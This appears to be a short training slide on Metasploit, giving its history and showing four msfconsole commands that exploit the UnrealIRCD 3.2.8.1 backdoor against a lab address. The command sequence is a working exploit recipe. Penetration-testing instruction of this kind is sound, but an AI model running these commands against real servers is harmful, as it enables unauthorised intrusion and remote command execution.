About Metasploit

http://www.metasploit.com/

Created by HD Moore in 2003 Acquired by Rapid7 in 2009

Already installed in Kali Linux

Commercial alternatives: Metasploit Pro, Core Impact

Using Metasploit to exploit a vulnerability

Example: UnrealIRCD 3.2.8.1 Backdoor Command Execution

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf > show options
msf > set RHOST 10.0.1.101
msf > exploit
```

Success!